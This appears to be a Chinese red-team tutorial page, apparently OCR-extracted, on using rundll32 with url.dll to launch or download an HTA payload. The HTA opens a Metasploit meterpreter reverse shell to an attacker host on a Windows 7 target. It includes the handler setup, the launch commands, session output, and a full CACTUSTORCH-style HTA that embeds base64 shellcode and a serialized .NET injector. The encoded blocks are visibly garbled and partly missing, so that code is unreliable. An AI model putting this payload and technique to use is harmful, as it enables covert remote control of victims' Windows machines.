

专注APT攻击与防御

<https://micropoor.blogspot.com/>

注：请多喝点热水或者凉白开，可预防**肾结石**，**痛风**等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

Url.dll简介：

url.dll是Internet快捷壳扩展相关应用程序接口系统文件。

说明：url.dll所在路径已被系统添加PATH环境变量中，因此，url.dll命令可识别，但由于为dll文件，需调用rundll32.exe来执行。

Windows 2003 默认位置：

```
C:\Windows\System32\url.dll  
C:\Windows\SysWOW64\url.dll
```

Windows 7 默认位置：

```
C:\Windows\System32\url.dll  
C:\Windows\SysWOW64\url.dll
```

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7

配置攻击机msf：

```
1 msf exploit(multi/handler) > show options  
2  
3 Module options (exploit/multi/handler):  
4  
5 Name Current Setting Required Description  
6 -----  
7  
8  
9 Payload options (windows/meterpreter/reverse_tcp):  
10  
11 Name Current Setting Required Description
```

```

12 -----
13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
14 LHOST 192.168.1.4 yes The listen address (an interface may be specified)
15 LPORT 53 yes The listen port
16
17
18 Exploit target:
19
20 Id Name
21 -- --
22 0 Wildcard Target
23
24
25 msf exploit(multi/handler) > exploit
26
27 [*] Started reverse TCP handler on 192.168.1.4:53
28

```

```

msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
  Name  Current Setting  Required  Description
  ----  -
  Name  Current Setting  Required  Description
  ----  -
Payload options (windows/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.1.4     yes       The listen address (an interface may be specified)
  LPORT     53              yes       The listen port

Exploit target:
  Id  Name
  --  -
  0   Wildcard Target

msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53

```

靶机执行：

```

1 rundll32.exe url.dll,FileProtocolHandler file:///C:\Users\John\Desktop
  \Micropoor_url_dll.hta

```

```

1 msf exploit(multi/handler) > exploit
2
3 [*] Started reverse TCP handler on 192.168.1.4:53
4 [*] Sending stage (179779 bytes) to 192.168.1.3
5 [*] Meterpreter session 5 opened (192.168.1.4:53 -> 192.168.1.3:5018)
   at 2019-01-21 04:41:43 -0500
6
7 meterpreter > getuid
8 Server username: John-PC\John
9 meterpreter > getpid
10 Current pid: 8584
11

```

```

C:\Users\John\Desktop>rundll32.exe url.dll,FileProtocolHandler file://C:\Users\John\Desktop\Micropoor_url_dll.hta
C:\Users\John\Desktop>

```

同样可以调用url.dll下载payload：

```

1 rundll32.exe url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta

```

附录：Micropoor_url_dll.hta

```

1 <script language="VBScript">
2
3 Dim binary : binary = "rundll32.exe"
4
5
6 Dim code : code = "/OiCAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMH
PDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg;
fSR15FiLWCQB02aLDEuLWBwB04sEiWHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJf\
GhmDyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ51BQUFBAUEBQaOoP3+D/1;
dqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAaagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAVmc
AaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaBAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8\
JA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U="
7
8
9 Sub Debug(s)
10 End Sub
11 Sub SetVersion
12 End Sub

```

```

13 Function Base64ToStream(b)
14 Dim enc, length, ba, transform, ms
15 Set enc = CreateObject("System.Text.ASCIIEncoding")
16 length = enc.GetByteCount_2(b)
17 Set transform = CreateObject("System.Security.Cryptography.FromBase64
Transform")
18 Set ms = CreateObject("System.IO.MemoryStream")
19 ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length),
0, ((length / 4) * 3)
20 ms.Position = 0
21 Set Base64ToStream = ms
22 End Function
23
24 Sub Run
25 Dim s, entry_class
26 s = "AAEAAAD////////AQAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
W9uSG9sZGVy"
27 s = s & "AwAAAAhEZWx1Z2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU31zdGVtLkR1bGVnYXR1U2VyawFsaXph"
XR1U2VyawFsaXph"
28 s = s & "dG1vbkhvbGRlcitEZWx1Z2F0ZUVudHJ5I1N5c3R1bS5EZWx1Z2F0ZVN1cm1hbG16YXRpb25Ib2xk"
G16YXRpb25Ib2xk"
29 s = s & "ZXIvU31zdGVtL1JlZmx1Y3Rpb24uTWVtYmVYSW5mb1N1cm1hbG16YXRpb25Ib2xkZXIJAQAAAAKD"
2xkZXIJAQAAAAKD"
30 s = s & "AAAACQQAAAAEAgAAADBTTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0R1bGVnYXR1"
GVyK0R1bGVnYXR1"
31 s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBC3N1bWJseQ50YXJnZXRU"
WJseQ50YXJnZXRU"
32 s = s & "eXB1TmFtZQptZXRob2ROYW11DWR1bGVnYXR1RW50cnkBAQIBAQEDMFN5c3R1bS5EZWx1Z2F0ZVN1"
S5EZWx1Z2F0ZVN1"
33 s = s & "cm1hbG16YXRpb25Ib2xkZXIuRGVsZWdhdGVfbnRyeQYFAAAAL1N5c3R1bS5ScW50aW11L1J1bW90"
W50aW11L1J1bW90"
34 s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJJIW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlc3R1bWJseQ50YXJnZXRU"
nNpb249Mi4wLjAu"
35 s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZX1Ub2t1bj1iNzdhNWM1NjE5MzR1MDg5BgcAAAAH"
zR1MDg5BgcAAAAH"
36 s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU31zdGVtLkR1bGVnYXR1BgoAAAANRHluYW1pY01udm9rZQoEAwAA"
01udm9rZQoEAwAA"
37 s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWx1Z2F0ZQd0YXJnZXQw"
2F0ZQd0YXJnZXQw"
38 s = s & "B21ldGhvZDADABwMwU31zdGVtLkR1bGVnYXR1U2VyawFsaXphdG1vbkhvbGRlcitEZWx1Z2F0ZUVu"
itEZWx1Z2F0ZUVu"
39 s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdG1vbi5NZW1iZXJJbmZvU2VyawFsaXphdG1vbkhvbGRlcgkLAAAA"
khvbGRlcgkLAAAA"
40 s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3R1bS5SZWZsZWNoaW9uLk11bWJ1ckluZm9TZXJpYWxpemF0aW9u"
XJpYWxpemF0aW9u"

```

41 s = s & "SG9sZGVyBgAAAAROYW11DEFzc2VtYmx5TmFtZQ1DbGFzc05hbWUJU21nbmF0cXJlck1lbWJlc1R5"

42 s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU31zdGVtL1R5cGVbXQkKAAAACQYAAAAJCQAAAAAYR"

43 s = s & "AAAALFN5c3R1bS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWNo10pCAAAAoBCwAA"

44 s = s & "AAIAAAAGegAAACBTExN0ZW0uWG1sL1NjaGVtYS5YbWxwYX1ZUdldHRlcgYTA/AAATVN5c3R1bS5Y"

45 s = s & "bWwsIFZlcnNpb249Mi4wLWJlcmVtZ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZlUub2t1bWJlc1R5"

46 s = s & "NWM1NjE5MzR1MDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU31zdGVtL1JlZmx1Y3Rpb24uQXNz"

47 s = s & "ZW1ibHkGFwAAAAARMb2FkCg8MAAAAAB4AAAJNwPAAAwAAAAQAAAD//wAAuAAAA/AAAAABAAAAAAAAA"

48 s = s & "AAADh+6DgC0Cc0huAFMzSFUaG1zIHByb2dy"

49 s = s & "Yw0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABM/QMAKNhXWQAAAAA"

50 s = s & "AAAA4AAiIAsBMAAAFgAAAAyAAAAAByNQAAACAAAABAAAAAAAAAQACAAAAAC/AAEAAAAAAAAAAAAQA"

51 s = s & "AAAAAAAAIAAAAACAAAAAAAAwBAhQAAEAAEAAAAAAAAQAAAQAAAAAAAAEAAA/AAAAAAAAAAAAIDUA"

52 s = s & "AE8AAAAAQAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAADAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAA"

53 s = s & "AAgAAAIAAAAAAAAAAAAAI/AAASAAAAAAAAAAAA"

54 s = s & "AAAALnRleHQAAAB4FQAAACAAAAWAAAAAgAAAAAAAAAAAAAAAAIAAAyC5yc3JjAAAAkAMAAABA"

55 s = s & "AAAABAAAABgAAAAAAAAAAAAAAAAAAAAEAAAEaucmVsb2MAAAwAAAAyAAAAIA/AAcAAAAAAAAAAAA"

56 s = s & "AAAAABAAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAASAAAAIABQD4IQAAB/AAAAEAAAAAAAAA"

57 s = s & "AA/AAAAHgIoDwAACioT"

58 s = s & "MAoABwEAAAEAAEBEEKBAAAAoKEgEGjmkoeQAACnMJAAAGDagWfTUAAARyQAAC/BMEcgMAAHaoEgAA"

59 s = s & "Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKewQrF3IdAABwKBIAAApyCQAACAMoFAAAChME"

60 s = s & "EQQUFBQXGn4VAAAKFagSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAA/AosbhEFFnMRAAAK"

61 s = s & "ByAAMAAAHOAoAgAABhMGEgYoFgAACnJXAABwKBgAAaosChEFFigEAAAGJioWwSCAAoASgRAAAK"

62 s = s & "EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYwCxEAAAoWFnMRAAAKKAUAAAYmknoCfhUAAAp9AgAA"

63 s = s & "BAIoDwAACgICKBkAAAp9AQAAABCoAABMwAgBgAAAAAAAAAJ+FQAACn0rAAAE/n4VAAAKfSwAAAQC"

64 s = s & "fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp90gAABAJ+F
QAACn07AAAEaigP"

65 s = s & "AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAAwAAAB2Mi4wLjUwNzI3AAAA/
AUAbAAAAACgHAAAj"

66 s = s & "fgAAIAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNH/
U1EAAAATBEAANwB"

67 s = s & "AAAjQmxvYgAAAAAAAAACAAABVx0CFakCAAAA+gEzABYAAAEAAAAXAAAACQAA/
FAAAAAJAAAAHwAA"

68 s = s & "ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAA/
AAGAFwFkgcGAMkF"

69 s = s & "kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYG/
JUF4QYGAMkE4QYG"

70 s = s & "AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIc
QYGAFkHqQYGAL4I"

71 s = s & "qQYGAGYgqQYGAIQGcwcAAAAAJQAAAAAAQABAAEAEABtBgAAPQABAAEACgAQ/
PgHAAA9AAEACAAK"

72 s = s & "ARAAzgYAAEEABAAJAAIBAAAAbCAAASQAIAAkaAgEAADYIAABJACcACQAKABAAE
gcAAD0AKgAJAAIB"

73 s = s & "AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAG/
HQIPwAGAOcDPwAG"

74 s = s & "AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIA/
wFWgFMCAwFWgPEB"

75 s = s & "AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWg
E0CAwFWgDECAwFW"

76 s = s & "gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAwFWgD0AAwFWgCcB/
wFWgKgAAwFWgDoD"

77 s = s & "AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEG/
KYD+gAGA08DPwAG"

78 s = s & "ABcHPwAGADMEPwAGAEsD+gAGAJ0D+gAGAOcF+gAGA08F+gAGAEcI+gAGAFUI+
gAGAOQE+gAGAC4I"

79 s = s & "+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWg
N4CDgFWg08ADgFW"

80 s = s & "gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcaE
gFWgFcAEgFWgNUA"

81 s = s & "EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWg
DkGEgEAAAAAgACW"

82 s = s & "IC4AFgEBAAAAACAAJYg8wgqAQsAAAAAIAAliaJCTUBEAAAAAAAgACWIGMIF
wEAAAAAACAAJeg"

83 s = s & "1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAAACGAE0EUAEEAGshAAAAAIYYPgcG/
CAAjCEAAAAAAhhg+"

84 s = s & "BwYAIAAAAEA0wQAAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcA/
AgAAAAGAHakBAAKA"

85 s = s & "BAcCAAoAzAYAAAEAGwQAAAAIAiwgAAAMAawYAAAQAawQAAAUAsggAAAEAdAgA/
AIAfQgAAAMAIQcA"

86 s = s & "AAQAAwYAAAUAtQYAAAEAdAgAAAAIA+gMAAAEAdAgAAAAIA0QcAAAMA9wUAAAQA/
QgAAAUAKAcAAAAA"

87 s = s & "CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAx/
D4HEAA5AD4HEABB"

88 s = s & "AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HE
gB5AD4HBgCZAFMG"

89 s = s & "KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAchABIHPwChAGQGQgCxADsJRgCx/
C8JRgC5AAoGTAAJ"

90 s = s & "ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAf
QAJAEQAggAJAEgA"

91 s = s & "hwAJAEwAjAAJFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJ/
GgArwAJAGwAtAAJ"

92 s = s & "AHAAuQAJAHQAvG AJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA:
AAAJAA4QAJAJQA"

93 s = s & "5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJ/
AQB4QAJAAgB9QAJ"

94 s = s & "AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBwgAJACwB>
wAJADABZAAJADQB"

95 s = s & "aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEu/
CsAhwEuADMAMAEu"

96 s = s & "ADsAmAEuAEMAhwEuAEsAhwEuAFMAMAEuAFsAngEuAGMAPAEuAGsAzgFDAFsAr
gGjAHMAWgDDAHMA"

97 s = s & "WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAEEAJ/
GMIAQAAAQsA1AMB"

98 s = s & "AASAAAABAAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAAAAABRAKkDAAAAAMA/
gAEAAIABQACAAYA"

99 s = s & "AgAHAAIACAACAkAAgAAAAAAHNoZWxsY29kZTM yAGNiUmVzZXJ2ZWQyAGxwL
mVzZXJ2ZWQyADxN"

100 s = s & "b2R1bGU+AENyZWf0ZVByb2N1c3NBAENSRUFURV9CUkVBS0FXQV1fR1JPTV9K
T0IARVhfQ1VURV9S"

101 s = s & "RUFEAENSRUFURV9TVVNQRU5ERUQUAFJJPQ0VTU19NT0RFx0JBQ0tHUK9VTkrf
RU5EAERVUExJQ0FU"

102 s = s & "RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFx0RFRkFVTFRfRVJST1JfTU9ERQBdUKVB
VEVfTkVXX0NPT1NP"

103 s = s & "TEUARVhfQ1VURV9SRUFEV1JJVEUARVhfQ1VURQBSRVNFU1ZFAENBQ1RVU1RP
UkNIAFdSSVRFX1dB"

104 s = s & "VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9D
T0RFx0FVVEhaX0xF"

105 s = s & "VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBdUKVBVEVfU0VQQVJBVEVfV09X
X1ZETQBQUK9DRVNT"

106 s = s & "X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUKVBVEVfTkVX
X1BST0NFU1NfR1JP"

107 s = s & "VVAUFJPRk1MRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENS
RUFURV9GT1JDRURP"

108 s = s & "UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNT
AEhJR0hfUFJJT1JJ"

109 s = s & "VF1fQ0xBU1MAQUJpVkvfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJfTE9XX05P
Uk1BTF9QUk1PUk1U"

110 s = s & "WV9DTEFTUwBOT0FDQ0VTUwBEVVbMSUNbVEVfU0FNrV9BQ0NFU1MAREVUQUNIRURfUFJJPQ0VTUwBD"

111 s = s & "UkVBVEVfUFJpVEVDVEVEX1BST0NFU1MAREVCVUdFUFJJPQ0VTUwBERUJVR19PTkxZX1RISVNFUFJJP"

112 s = s & "Q0VTUwBSRVNFVABDT01NSVQAQ1JfQVRFX01HTk9SRV9TWNURU1fREVGQVVMVABDUkVBVEVfVU5J"

113 s = s & "Q09ERV9FT1ZJUK90TUVOVABFWFRFTkrFRF9TVEFSVfVQSU5GT19QUkVTRU5UAENSRUFURV90T19X"

114 s = s & "SU5ET1cAZHdYAFJfQURPTkxZAEVYRUNVVEVfV1JJVEVDt1BZAE10SEVSSVRfUEFSRU5UX0FGRk10"

115 s = s & "SVRZAE10SEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy"

116 s = s & "ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NjZABDcmVhdGVsZW1vdGVUaHJlYWQAaFRocmVhZABs"

117 s = s & "cFJlC2VydMvKAhVfEGl0Q29kZQBHZXRfbnZpcm9ubWVudfZhcmlhYmXlAGxwSGFuZGx1AGJJbmh1"

118 s = s & "cm10SGFuZGx1AGxwVG10bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZQBW"

119 s = s & "YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBhdWlkQXR0cmliZXRIaERlYnVnZ2FibGVbdHRyaWJ1"

120 s = s & "dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBbc3N1bWJseVRpdGx1QXR0cmliZXRIaEFzc2VtYmx5VHJh"

121 s = s & "ZGVtYXJrQXR0cmliZXRIAGR3RmlsbEF0dHJpYnV0ZQBbc3N1bWJseUZpbGVWZXJzaW9uQXR0cmli"

122 s = s & "dXRlAEFzc2VtYmx5Q29uZm1ndXJhdGlvbkF0dHJpYnV0ZQBbc3N1bWJseURlc2NyaXB0aW9uQXR0"

123 s = s & "cmliZXRIAEZsYWdzQXR0cmliZXRIaENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNz"

124 s = s & "ZW1ibHlQcm9kdWN0QXR0cmliZXRIAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmliZXRIAEFzc2VtYmx5"

125 s = s & "Q29tcGFueUF0dHJpYnV0ZQBsdW50aW1lQ29tcGF0aWJpbG10eUF0dHJpYnV0ZQBkd1hTaXplAGR3"

126 s = s & "WVNpemUAZHdTdGFja1NpemUAZHdTdTaXplAFNpemVPZgBHVUFsRF9Nb2RpZm11cmZsYWcATk9DQUNI"

127 s = s & "RV9Nb2RpZm11cmZsYWcAV1JJVEVDt01CSU5FX01vZG1maWVyZmxhZwBGcm9tQmFzZTY0U3RyaW5n"

128 s = s & "AFRvU3RyaW5nAGNhY3R1c1RvcMNoAGdlf9MZW5ndGgATWFyc2hhbABrZXJwZWwzMj5kbGwAQ0FD"

129 s = s & "VFVtVE9SQ0guZGxsAFN5c3R1bQBFbnVtAGxwTnVtYmVYtZ2CeXRlc1dyaXR0ZW4AbHBQcm9jZXNz"

130 s = s & "SW5mb3JtYXRpb24AU3lzdGVtL1JlZmx1Y3Rpb24ATWVtb3J5UHJvdGVjdGlvbGJscFN0YXJ0dXBJ"

131 s = s & "bmZvAFp1cm8AbHBEZXNrdG9wAGJ1ZmZlZGJscFBhcmFtZXRIcGBoU3RkRXJyb3IAlmN0b3IAbHBT"

132 s = s & "ZWN1cm10eURlc2NyaXB0b3IAsW50UHRYAFN5c3R1bS5EaWFnbm9zdG1jcWBTeXN0ZW0uUnVudGlt"


```

179 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA"
180 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA"
181 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA"
182 s = s & "AAAAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAAACRYAAAAGGgAAACdTeXN0
ZW0uUmVmbGVjdGlv"
183 s = s & "bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"
184 entry_class = "cactusTorch"
185
186 Dim fmt, al, d, o
187 Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary
y.BinaryFormatter")
188 Set al = CreateObject("System.Collections.ArrayList")
189 al.Add fmt.SurrogateSelector
190
191 Set d = fmt.Deserialize_2(Base64ToStream(s))
192 Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
193 o.flame binary,code
194 End Sub
195
196 SetVersion
197 On Error Resume Next
198 Run
199 If Err.Number <> 0 Then
200   Debug Err.Description
201   Err.Clear
202 End If
203
204 self.close
205 </script>
206

```

- Micropoor